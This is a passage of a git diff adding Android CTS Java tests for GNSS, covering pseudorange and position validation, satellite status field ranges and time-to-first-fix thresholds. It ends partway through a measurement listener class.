+ private static final float HORIZONTAL_OFFSET_FLOOR_MPS = 1;
+
+ private TestGnssMeasurementListener mMeasurementListener;
+ private TestLocationListener mLocationListener;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ // Unregister listeners
+ if (mLocationListener != null) {
+ mTestLocationManager.removeLocationUpdates(mLocationListener);
+ }
+ if (mMeasurementListener != null) {
+ mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+ }
+ super.tearDown();
+ }
+
+ /**
+ * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+ * It only performs sanity checks for the measurements received.
+ * This tests uses actual data retrieved from Gnss HAL.
+ */
+ @CddTest(requirement="7.3.3")
+ public void testPseudorangeValue() throws Exception {
+ // Checks if Gnss hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+ // From android O, CTS tests should run in the lab with GPS signal.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+ return;
+ }
+
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG,
+ MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ boolean success = mLocationListener.await();
+ success &= mMeasurementListener.await();
+ SoftAssert softAssert = new SoftAssert(TAG);
+ softAssert.assertTrue(
+ "Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+
+ Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+ if (!mMeasurementListener.verifyStatus()) {
+ // If verifyStatus returns false, an assert exception happens and test fails.
+ return; // exit (with pass)
+ }
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
+ softAssert.assertTrue(
+ "GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+ eventCount > 0);
+
+ boolean hasEventWithEnoughMeasurements = false;
+ // we received events, so perform a quick sanity check on mandatory fields
+ for (GnssMeasurementsEvent event : events) {
+ // Verify Gnss Event mandatory fields are in required ranges
+ assertNotNull("GnssMeasurementEvent cannot be null.", event);
+
+ long timeInNs = event.getClock().getTimeNanos();
+ TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
+
+ ArrayList<GnssMeasurement> filteredMeasurements = filterMeasurements(event.getMeasurements());
+ HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap =
+ groupByConstellation(filteredMeasurements);
+ for (ArrayList<GnssMeasurement> measurements : measurementConstellationMap.values()) {
+ validatePseudorange(measurements, softAssert, timeInNs);
+ }
+
+ // we need at least 4 satellites to calculate the pseudorange
+ if(event.getMeasurements().size() >= MIN_SATELLITES_REQUIREMENT) {
+ hasEventWithEnoughMeasurements = true;
+ }
+ }
+
+ softAssert.assertTrue(
+ "Should have at least one GnssMeasurementEvent with at least 4"
+ + "GnssMeasurement. If failed, retry near window or outdoors?",
+ hasEventWithEnoughMeasurements);
+
+ softAssert.assertAll();
+ }
+
+ private HashMap<Integer, ArrayList<GnssMeasurement>> groupByConstellation(
+ Collection<GnssMeasurement> measurements) {
+ HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap = new HashMap<>();
+ for (GnssMeasurement measurement: measurements){
+ int constellationType = measurement.getConstellationType();
+ if (!measurementConstellationMap.containsKey(constellationType)) {
+ measurementConstellationMap.put(constellationType, new ArrayList<>());
+ }
+ measurementConstellationMap.get(constellationType).add(measurement);
+ }
+ return measurementConstellationMap;
+ }
+
+ private static ArrayList<GnssMeasurement> filterMeasurements(
+ Collection<GnssMeasurement> measurements) {
+ ArrayList<GnssMeasurement> filteredMeasurement = new ArrayList<>();
+ for (GnssMeasurement measurement : measurements) {
+ int constellationType = measurement.getConstellationType();
+ if ((measurement.getState() & GnssMeasurement.STATE_CODE_LOCK) == 0) {
+ continue;
+ }
+ if (constellationType == GnssStatus.CONSTELLATION_GLONASS) {
+ if ((measurement.getState()
+ & (GnssMeasurement.STATE_GLO_TOD_DECODED
+ | GnssMeasurement.STATE_GLO_TOD_KNOWN)) != 0) {
+ filteredMeasurement.add(measurement);
+ }
+ } else if ((measurement.getState() & (GnssMeasurement.STATE_TOW_DECODED
+ | GnssMeasurement.STATE_TOW_KNOWN)) != 0) {
+ filteredMeasurement.add(measurement);
+ }
+ }
+ return filteredMeasurement;
+ }
+
+ /**
+ * Uses the common reception time approach to calculate pseudorange time
+ * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
+ */
+ private void validatePseudorange(Collection<GnssMeasurement> measurements,
+ SoftAssert softAssert, long timeInNs) {
+ long largestReceivedSvTimeNanosTod = 0;
+ // closest satellite has largest time (closest to now), as of nano secs of the day
+ // so the largestReceivedSvTimeNanosTod will be the svTime we got from one of the GPS/GLONASS sv
+ for(GnssMeasurement measurement : measurements) {
+ long receivedSvTimeNanosTod = measurement.getReceivedSvTimeNanos()
+ % TimeUnit.DAYS.toNanos(1);
+ if (largestReceivedSvTimeNanosTod < receivedSvTimeNanosTod) {
+ largestReceivedSvTimeNanosTod = receivedSvTimeNanosTod;
+ }
+ }
+ for (GnssMeasurement measurement : measurements) {
+ double threshold = PSEUDORANGE_THRESHOLD_IN_SEC;
+ int constellationType = measurement.getConstellationType();
+ // BEIDOU and QZSS's Orbit are higher, so the value of ReceivedSvTimeNanos should be small
+ if (constellationType == GnssStatus.CONSTELLATION_BEIDOU
+ || constellationType == GnssStatus.CONSTELLATION_QZSS) {
+ threshold = PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC;
+ }
+ double deltaiNanos = largestReceivedSvTimeNanosTod
+ - (measurement.getReceivedSvTimeNanos() % TimeUnit.DAYS.toNanos(1));
+ double deltaiSeconds = deltaiNanos * SECONDS_PER_NANO;
+
+ softAssert.assertTrue("deltaiSeconds in Seconds.",
+ timeInNs,
+ "0.0 <= deltaiSeconds <= " + String.valueOf(threshold),
+ String.valueOf(deltaiSeconds),
+ (deltaiSeconds >= 0.0 && deltaiSeconds <= threshold));
+ }
+ }
+
+ /*
+ * Use pseudorange calculation library to calculate position then compare to location from
+ * Location Manager.
+ */
+ @CddTest(requirement = "7.3.3")
+ @AppModeFull(reason = "Flaky in instant mode")
+ public void testPseudoPosition() throws Exception {
+ // Checks if Gnss hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+ // From android O, CTS tests should run in the lab with GPS signal.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+ return;
+ }
+
+ mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+ mMeasurementListener = new TestGnssMeasurementListener(TAG,
+ MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+ mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+ boolean success = mLocationListener.await();
+
+ List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
+ assertTrue("Time elapsed without getting enough location fixes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success && receivedLocationList.size() > 0);
+ Location locationFromApi = receivedLocationList.get(0);
+
+ // Since we are checking the eventCount later, there is no need to check the return value
+ // here.
+ mMeasurementListener.await();
+
+ List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+ int eventCount = events.size();
+ Log.i(TAG, "Number of Gps Event received = " + eventCount);
+
+ assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+ eventCount > 0);
+
+ PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
+ = new PseudorangePositionVelocityFromRealTimeEvents();
+ mPseudorangePositionFromRealTimeEvents.setReferencePosition(
+ (int) (locationFromApi.getLatitude() * 1E7),
+ (int) (locationFromApi.getLongitude() * 1E7),
+ (int) (locationFromApi.getAltitude() * 1E7));
+
+ Log.i(TAG, "Location from Location Manager"
+ + ", Latitude:" + locationFromApi.getLatitude()
+ + ", Longitude:" + locationFromApi.getLongitude()
+ + ", Altitude:" + locationFromApi.getAltitude());
+
+ // Ensure at least some calculated locations have a reasonably low uncertainty
+ boolean someLocationsHaveLowPosUnc = false;
+ boolean someLocationsHaveLowVelUnc = false;
+
+ int totalCalculatedLocationCnt = 0;
+ for (GnssMeasurementsEvent event : events) {
+ // In mMeasurementListener.getEvents() we already filtered out events, at this point
+ // every event will have at least 4 satellites in one constellation.
+ mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(
+ event);
+ double[] calculatedLatLngAlt =
+ mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
+ // it will return NaN when there is no enough measurements to calculate the position
+ if (Double.isNaN(calculatedLatLngAlt[0])) {
+ continue;
+ } else {
+ totalCalculatedLocationCnt++;
+ Log.i(TAG, "Calculated Location"
+ + ", Latitude:" + calculatedLatLngAlt[0]
+ + ", Longitude:" + calculatedLatLngAlt[1]
+ + ", Altitude:" + calculatedLatLngAlt[2]);
+
+ double[] posVelUncertainties =
+ mPseudorangePositionFromRealTimeEvents.getPositionVelocityUncertaintyEnu();
+
+ double horizontalPositionUncertaintyMeters =
+ Math.sqrt(posVelUncertainties[0] * posVelUncertainties[0]
+ + posVelUncertainties[1] * posVelUncertainties[1]);
+
+ // Tolerate large offsets, when the device reports a large uncertainty - while also
+ // ensuring (here) that some locations are produced before the test ends
+ // with a reasonably low set of error estimates
+ if (horizontalPositionUncertaintyMeters < LOW_ENOUGH_POSITION_UNCERTAINTY_METERS) {
+ someLocationsHaveLowPosUnc = true;
+ }
+
+ // Root-sum-sqaure the WLS, and device generated 68%ile accuracies is a conservative
+ // 68%ile offset (given likely correlated errors) - then this is scaled by
+ // initially 3 sigma to give a high enough tolerance to make the test tolerant
+ // enough of noise to pass reliably. Floor adds additional robustness in case of
+ // small errors and small error estimates.
+ double horizontalOffsetThresholdMeters = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+ horizontalPositionUncertaintyMeters * horizontalPositionUncertaintyMeters
+ + locationFromApi.getAccuracy() * locationFromApi.getAccuracy())
+ + HORIZONTAL_OFFSET_FLOOR_METERS;
+
+ Location calculatedLocation = new Location("gps");
+ calculatedLocation.setLatitude(calculatedLatLngAlt[0]);
+ calculatedLocation.setLongitude(calculatedLatLngAlt[1]);
+ calculatedLocation.setAltitude(calculatedLatLngAlt[2]);
+
+ double horizontalOffset = calculatedLocation.distanceTo(locationFromApi);
+
+ Log.i(TAG, "Calculated Location Offset: " + horizontalOffset
+ + ", Threshold: " + horizontalOffsetThresholdMeters);
+ assertTrue("Latitude & Longitude calculated from pseudoranges should be close to "
+ + "those reported from Location Manager. Offset = "
+ + horizontalOffset + " meters. Threshold = "
+ + horizontalOffsetThresholdMeters + " meters ",
+ horizontalOffset < horizontalOffsetThresholdMeters);
+
+ //TODO: Check for the altitude offset
+
+ // This 2D velocity uncertainty is conservatively larger than speed uncertainty
+ // as it also contains the effect of bearing uncertainty at a constant speed
+ double horizontalVelocityUncertaintyMps =
+ Math.sqrt(posVelUncertainties[4] * posVelUncertainties[4]
+ + posVelUncertainties[5] * posVelUncertainties[5]);
+ if (horizontalVelocityUncertaintyMps < LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS) {
+ someLocationsHaveLowVelUnc = true;
+ }
+
+ // Assume 1m/s uncertainty from API, for this test, if not provided
+ float speedUncFromApiMps = locationFromApi.hasSpeedAccuracy()
+ ? locationFromApi.getSpeedAccuracyMetersPerSecond()
+ : HORIZONTAL_OFFSET_FLOOR_MPS;
+
+ // Similar 3-standard deviation plus floor threshold as
+ // horizontalOffsetThresholdMeters above
+ double horizontalSpeedOffsetThresholdMps = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+ horizontalVelocityUncertaintyMps * horizontalVelocityUncertaintyMps
+ + speedUncFromApiMps * speedUncFromApiMps)
+ + HORIZONTAL_OFFSET_FLOOR_MPS;
+
+ double[] calculatedVelocityEnuMps =
+ mPseudorangePositionFromRealTimeEvents.getVelocitySolutionEnuMps();
+ double calculatedHorizontalSpeedMps =
+ Math.sqrt(calculatedVelocityEnuMps[0] * calculatedVelocityEnuMps[0]
+ + calculatedVelocityEnuMps[1] * calculatedVelocityEnuMps[1]);
+
+ Log.i(TAG, "Calculated Speed: " + calculatedHorizontalSpeedMps
+ + ", Reported Speed: " + locationFromApi.getSpeed()
+ + ", Threshold: " + horizontalSpeedOffsetThresholdMps);
+ assertTrue("Speed (" + calculatedHorizontalSpeedMps + " m/s) calculated from"
+ + " pseudoranges should be close to the speed ("
+ + locationFromApi.getSpeed() + " m/s) reported from"
+ + " Location Manager.",
+ Math.abs(calculatedHorizontalSpeedMps - locationFromApi.getSpeed())
+ < horizontalSpeedOffsetThresholdMps);
+ }
+ }
+
+ assertTrue("Calculated Location Count should be greater than 0.",
+ totalCalculatedLocationCnt > 0);
+ assertTrue("Calculated Horizontal Location Uncertainty should at least once be less than "
+ + LOW_ENOUGH_POSITION_UNCERTAINTY_METERS,
+ someLocationsHaveLowPosUnc);
+ assertTrue("Calculated Horizontal Velocity Uncertainty should at least once be less than "
+ + LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS,
+ someLocationsHaveLowVelUnc);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
new file mode 100644
index 0000000..facd956
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -0,0 +1,130 @@
+package android.location.cts.gnss;
+
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+public class GnssStatusTest extends GnssTestCase {
+
+ private static final String TAG = "GnssStatusTest";
+ private static final int LOCATION_TO_COLLECT_COUNT = 1;
+ private static final int STATUS_TO_COLLECT_COUNT = 3;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ /**
+ * Tests that one can listen for {@link GnssStatus}.
+ */
+ public void testGnssStatusChanges() throws Exception {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+
+ // Register Gps Status Listener.
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ checkGnssChange(testGnssStatusCallback);
+ }
+
+ private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
+ throws InterruptedException {
+ mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
+
+ TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(locationListener);
+
+ boolean success = testGnssStatusCallback.awaitStart();
+ success = success ? testGnssStatusCallback.awaitStatus() : false;
+ success = success ? testGnssStatusCallback.awaitTtff() : false;
+ mTestLocationManager.removeLocationUpdates(locationListener);
+ success = success ? testGnssStatusCallback.awaitStop() : false;
+ mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
+
+ SoftAssert softAssert = new SoftAssert(TAG);
+ softAssert.assertTrue(
+ "Time elapsed without getting the right status changes."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+ softAssert.assertAll();
+ }
+
+ /**
+ * Tests values of {@link GnssStatus}.
+ */
+ public void testGnssStatusValues() throws InterruptedException {
+ // Checks if GPS hardware feature is present, skips test (pass) if not,
+ // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+ if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+ return;
+ }
+ SoftAssert softAssert = new SoftAssert(TAG);
+ // Register Gps Status Listener.
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ checkGnssChange(testGnssStatusCallback);
+ validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
+ softAssert.assertAll();
+ }
+
+ /**
+ * To validate the fields in GnssStatus class, the value is got from device
+ * @param status, GnssStatus
+ * @param softAssert, customized assert class.
+ */
+ private void validateGnssStatus(GnssStatus status, SoftAssert softAssert) {
+ int sCount = status.getSatelliteCount();
+ Log.i(TAG, "Total satellite:" + sCount);
+ // total number of satellites for all constellation is less than 200
+ softAssert.assertTrue("Satellite count test sCount : " + sCount , sCount < 200);
+ for (int i = 0; i < sCount; ++i) {
+ softAssert.assertTrue("azimuth_degrees: Azimuth in degrees: ",
+ "0.0 <= X <= 360.0",
+ String.valueOf(status.getAzimuthDegrees(i)),
+ status.getAzimuthDegrees(i) >= 0.0 && status.getAzimuthDegrees(i) <= 360.0);
+ TestMeasurementUtil.verifyGnssCarrierFrequency(softAssert, mTestLocationManager,
+ status.hasCarrierFrequencyHz(i),
+ status.hasCarrierFrequencyHz(i) ? status.getCarrierFrequencyHz(i) : 0F);
+
+ softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
+ "0.0 <= X <= 63",
+ String.valueOf(status.getCn0DbHz(i)),
+ status.getCn0DbHz(i) >= 0.0 &&
+ status.getCn0DbHz(i) <= 63.0);
+
+ Log.i(TAG, "hasBasebandCn0DbHz: " + status.hasBasebandCn0DbHz(i));
+ if (status.hasBasebandCn0DbHz(i)) {
+ softAssert.assertTrue("baseband_cn0_dbhz: Baseband carrier-to-noise density",
+ "0.0 <= X <= 63",
+ String.valueOf(status.getBasebandCn0DbHz(i)),
+ status.getBasebandCn0DbHz(i) >= 0.0 &&
+ status.getBasebandCn0DbHz(i) <= 63.0);
+ }
+
+ softAssert.assertTrue("elevation_degrees: Elevation in Degrees :",
+ "0.0 <= X <= 90.0",
+ String.valueOf(status.getElevationDegrees(i)),
+ status.getElevationDegrees(i) >= 0.0 && status.getElevationDegrees(i) <= 90.0);
+
+ // in validateSvidSub, it will validate ConstellationType, svid
+ // however, we don't have the event time in the current scope, pass in "-1" instead
+ TestMeasurementUtil.validateSvidSub(softAssert, null,
+ status.getConstellationType(i),status.getSvid(i));
+
+ // For those function with boolean type return, just simply call the function
+ // to make sure those function won't crash, also increase the test coverage.
+ Log.i(TAG, "hasAlmanacData: " + status.hasAlmanacData(i));
+ Log.i(TAG, "hasEphemerisData: " + status.hasEphemerisData(i));
+ Log.i(TAG, "usedInFix: " + status.usedInFix(i));
+ }
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
new file mode 100644
index 0000000..8e76996
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -0,0 +1,151 @@
+package android.location.cts.gnss;
+
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestUtils;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.SystemClock;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for the ttff (time to the first fix) validating whether TTFF is
+ * below the expected thresholds in differnt scenario
+ */
+public class GnssTtffTests extends GnssTestCase {
+
+ private static final String TAG = "GnssTtffTests";
+ private static final int LOCATION_TO_COLLECT_COUNT = 1;
+ private static final int STATUS_TO_COLLECT_COUNT = 3;
+ private static final int AIDING_DATA_RESET_DELAY_SECS = 10;
+ // Threshold values
+ private static final int TTFF_HOT_TH_SECS = 5;
+ private static final int TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS = 10;
+ // The worst case we saw in the Nexus 6p device is 15sec,
+ // adding 20% margin to the threshold
+ private static final int TTFF_WITH_WIFI_ONLY_WARM_TH_SECS = 18;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mTestLocationManager = new TestLocationManager(getContext());
+ }
+
+ /**
+ * Test the TTFF in the case where there is a network connection for both warm and hot start TTFF
+ * cases.
+ * We first test the "WARM" start where different TTFF thresholds are chosen based on network
+ * connection (cellular vs Wifi). Then we test the "HOT" start where the type of network
+ * connection should not matter hence one threshold is used.
+ * @throws Exception
+ */
+ @CddTest(requirement="7.3.3")
+ public void testTtffWithNetwork() throws Exception {
+ ensureNetworkStatus();
+ if (hasCellularData()) {
+ checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS);
+ }
+ else {
+ checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_ONLY_WARM_TH_SECS);
+ }
+ checkTtffHotWithWifiOn(TTFF_HOT_TH_SECS);
+ }
+
+ /**
+ * Test Scenario 1
+ * Check whether TTFF is below the threshold on the warm start with Wifi ON
+ * 1) Delete the aiding data.
+ * 2) Get GPS, check the TTFF value
+ * @param threshold, the threshold for the TTFF value
+ */
+ private void checkTtffWarmWithWifiOn(long threshold) throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ mTestLocationManager.sendExtraCommand("delete_aiding_data");
+ Thread.sleep(TimeUnit.SECONDS.toMillis(AIDING_DATA_RESET_DELAY_SECS));
+ checkTtffByThreshold("checkTtffWarmWithWifiOn",
+ TimeUnit.SECONDS.toMillis(threshold), softAssert);
+ softAssert.assertAll();
+ }
+
+ /**
+ * Test Scenario 2
+ * Check whether TTFF is below the threhold on the hot start with wifi ON
+ * TODO(tccyp): to test the hot case with network connection off
+ * @param threshold, the threshold for the TTFF value
+ */
+ private void checkTtffHotWithWifiOn(long threshold) throws Exception {
+ SoftAssert softAssert = new SoftAssert(TAG);
+ checkTtffByThreshold("checkTtffHotWithWifiOn",
+ TimeUnit.SECONDS.toMillis(threshold), softAssert);
+ softAssert.assertAll();
+ }
+
+ /**
+ * Make sure the device has either wifi data or cellular connection
+ */
+ private void ensureNetworkStatus(){
+ assertTrue("Device has to connect to Wifi or Cellular to complete this test.",
+ TestUtils.isConnectedToWifiOrCellular(getContext()));
+
+ }
+
+ private boolean hasCellularData() {
+ ConnectivityManager connManager = TestUtils.getConnectivityManager(getContext());
+ NetworkInfo cellularNetworkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
+ // check whether the cellular data is ON if the device has cellular capability
+ if (cellularNetworkInfo == null) {
+ Log.i(TAG, "This is a wifi only device.");
+ return false;
+ }
+ TelephonyManager telephonyManager = (TelephonyManager) getContext().getApplicationContext()
+ .getSystemService(getContext().TELEPHONY_SERVICE);
+ if (!telephonyManager.isDataEnabled()) {
+ Log.i(TAG, "Device doesn't have cellular data.");
+ return false;
+ }
+ return true;
+ }
+
+ /*
+ * Check whether TTFF is below the threshold
+ * @param testName
+ * @param threshold, the threshold for the TTFF value
+ */
+ private void checkTtffByThreshold(String testName,
+ long threshold, SoftAssert softAssert) throws Exception {
+ TestLocationListener networkLocationListener
+ = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ // fetch the networklocation first to make sure the ttff is not flaky
+ mTestLocationManager.requestNetworkLocationUpdates(networkLocationListener);
+ networkLocationListener.await();
+
+ TestGnssStatusCallback testGnssStatusCallback =
+ new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+ mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
+
+ TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+ mTestLocationManager.requestLocationUpdates(locationListener);
+
+
+ long startTimeMillis = SystemClock.elapsedRealtime();
+ boolean success = testGnssStatusCallback.awaitTtff();
+ long ttffTimeMillis = SystemClock.elapsedRealtime() - startTimeMillis;
+
+ softAssert.assertTrue(
+ "Test case:" + testName
+ + ". Threshold exceeded without getting a location."
+ + " Possibly, the test has been run deep indoors."
+ + " Consider retrying test outdoors.",
+ success);
+ mTestLocationManager.removeLocationUpdates(locationListener);
+ mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
+ softAssert.assertTrue("Test case: " + testName +", TTFF should be less than " + threshold
+ + " . In current test, TTFF value is: " + ttffTimeMillis, ttffTimeMillis < threshold);
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/MultiConstellationNotSupportedException.java b/tests/location/location_gnss/src/android/location/cts/gnss/MultiConstellationNotSupportedException.java
new file mode 100644
index 0000000..3132fa2
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/MultiConstellationNotSupportedException.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.location.cts.gnss;
+
+/**
+ * Exception that indicates an issue in the device that does not support Multi Constellation type.
+ */
+public class MultiConstellationNotSupportedException extends Exception {
+ public MultiConstellationNotSupportedException(String format, Object... params) {
+ this(String.format(format, params));
+ }
+
+ public MultiConstellationNotSupportedException(String message) {
+ super(message);
+ }
+}
\ No newline at end of file
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java
new file mode 100644
index 0000000..34fe9eb
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.gnss;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.TestUtils;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving GPS satellite measurements from the GPS engine.
+ * Each measurement contains raw and computed data identifying a satellite.
+ * Only counts measurement events with more than one actual Measurement in them (not just clock)
+ */
+public class TestGnssMeasurementListener extends GnssMeasurementsEvent.Callback {
+ // When filterByEventSize flag is true, we only keep the GnssMeasurementsEvents that have at
+ // least 4 decoded GnssMeasurement in same constellation.
+ private boolean filterByEventSize = false;
+ // Timeout in sec for count down latch wait
+ private static final int STATUS_TIMEOUT_IN_SEC = 10;
+ private static final int MEAS_TIMEOUT_IN_SEC = 75;
+ private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
+ private volatile int mStatus = -1;
+
+ private final String mTag;
+ private final List<GnssMeasurementsEvent> mMeasurementsEvents;
+ private final CountDownLatch mCountDownLatch;
+ private final CountDownLatch mCountDownLatchStatus;
+
+ /**
+ * Constructor for TestGnssMeasurementListener
+ * @param tag for Logging.
+ */
+ public TestGnssMeasurementListener(String tag) {
+ this(tag, 0, false);
+ }
+
+ /**
+ * Constructor for TestGnssMeasurementListener
+ * @param tag for Logging.
+ * @param eventsToCollect wait until the number of events collected.
+ */
+ public TestGnssMeasurementListener(String tag, int eventsToCollect) {
+ this(tag, eventsToCollect, false);
+ }
+
+ /**
+ * Constructor for TestGnssMeasurementListener
+ * @param tag for Logging.
+ * @param eventsToCollect wait until the number of events collected.
+ * @param filterByEventSize whether filter the GnssMeasurementsEvents when we collect them.
+ */
+ public TestGnssMeasurementListener(String tag, int eventsToCollect, boolean filterByEventSize) {
+ mTag = tag;
+ mCountDownLatch = new CountDownLatch(eventsToCollect);
+ mCountDownLatchStatus = new CountDownLatch(1);
+ mMeasurementsEvents = new ArrayList<>(eventsToCollect);
+ this.filterByEventSize = filterByEventSize;
+ }
+
+ @Override
+ public void onGnssMeasurementsReceived(GnssMeasurementsEvent event) {
+ // Only count measurement events with more than 4 actual Measurements in same constellation
+ // with Cn0DbHz value greater than 18
+ if (event.getMeasurements().size() > 0) {
+ Log.i(mTag, "GnssMeasurementsEvent size:" + event.getMeasurements().size());
+ if (filterByEventSize) {
+ HashMap<Integer, Integer> constellationEventCount = new HashMap<>();
+ GnssClock gnssClock = event.getClock();
+ if (!gnssClock.hasFullBiasNanos()) {
+ // If devices does not have FullBiasNanos yet, it will be difficult to check
+ // the quality, so await this flag as well.
+ return;
+ }
+ for (GnssMeasurement gnssMeasurement : event.getMeasurements()){
+ int constellationType = gnssMeasurement.getConstellationType();
+ // if the measurement's signal level is too small ignore
